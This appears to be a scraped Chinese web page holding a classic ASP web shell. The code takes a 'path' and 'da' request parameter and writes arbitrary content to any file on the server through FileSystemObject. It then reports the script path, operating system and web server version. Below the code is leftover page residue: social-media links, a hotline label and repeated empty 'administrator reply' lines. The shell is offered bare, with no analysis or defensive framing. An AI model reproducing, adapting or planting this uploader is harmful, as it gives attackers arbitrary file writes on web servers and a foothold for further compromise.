dim da
set fso=server.createobject(“scripting.filesystemobject”)
path=request(“path”)
if path<>”" then
data=request(“da”)
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write “yes”
else
Response.Write “no”
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “当前文件路径:”&server.mappath(request.servervariables(“script_name”))
Response.Write “”
Response.Write “操作系统为:”&Request.ServerVariables(“OS”)
Response.Write “”
Response.Write “WEB服务器版本为:”&Request.ServerVariables(“SERVER_SOFTWARE”)
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “”
腾讯微博
新浪微博
客服热线
管理员回复：
管理员回复：
管理员回复：
管理员回复：
管理员回复：
管理员回复：
管理员回复：
管理员回复：
管理员回复：